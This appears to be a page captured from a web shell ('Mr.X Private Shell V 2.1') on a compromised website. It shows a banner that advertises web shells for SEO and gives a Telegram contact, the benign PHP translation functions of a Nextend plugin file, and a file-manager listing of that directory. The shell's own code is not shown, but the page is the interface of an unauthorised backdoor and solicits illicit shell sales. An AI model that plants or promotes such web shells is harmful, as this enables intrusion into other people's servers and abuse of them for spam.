__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
use Nextend\Framework\Localization\Localization;
function n2_($text, $domain = 'nextend', $escape = true) {
$translations = Localization::getTranslationsForDomain($domain);
if ($escape) {
return esc_html($translations->translate($text));
} else {
return $translations->translate($text);
}
}
function n2_e($text, $domain = 'nextend') {
echo esc_html(n2_($text, $domain, false));
}
function n2_n($single, $plural, $number, $domain = 'nextend') {
$translations = Localization::getTranslationsForDomain($domain);
return $translations->translate_plural($single, $plural, $number);
}
function n2_en($single, $plural, $number, $domain = 'nextend') {
echo esc_html(n2_n($single, $plural, $number, $domain));
}
function n2_x($text, $context, $domain = 'nextend') {
$translations = Localization::getTranslationsForDomain($domain);
return $translations->translate($text, $context);
}
function n2_ex($text, $context, $domain = 'nextend') {
echo esc_html(n2_x($text, $context, $domain));
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Joomla | Folder | 0775 |
|
|
| AbstractLocalization.php | File | 253 B | 0664 |
|
| Functions.php | File | 1.03 KB | 0664 |
|
| Localization.php | File | 2.51 KB | 0664 |
|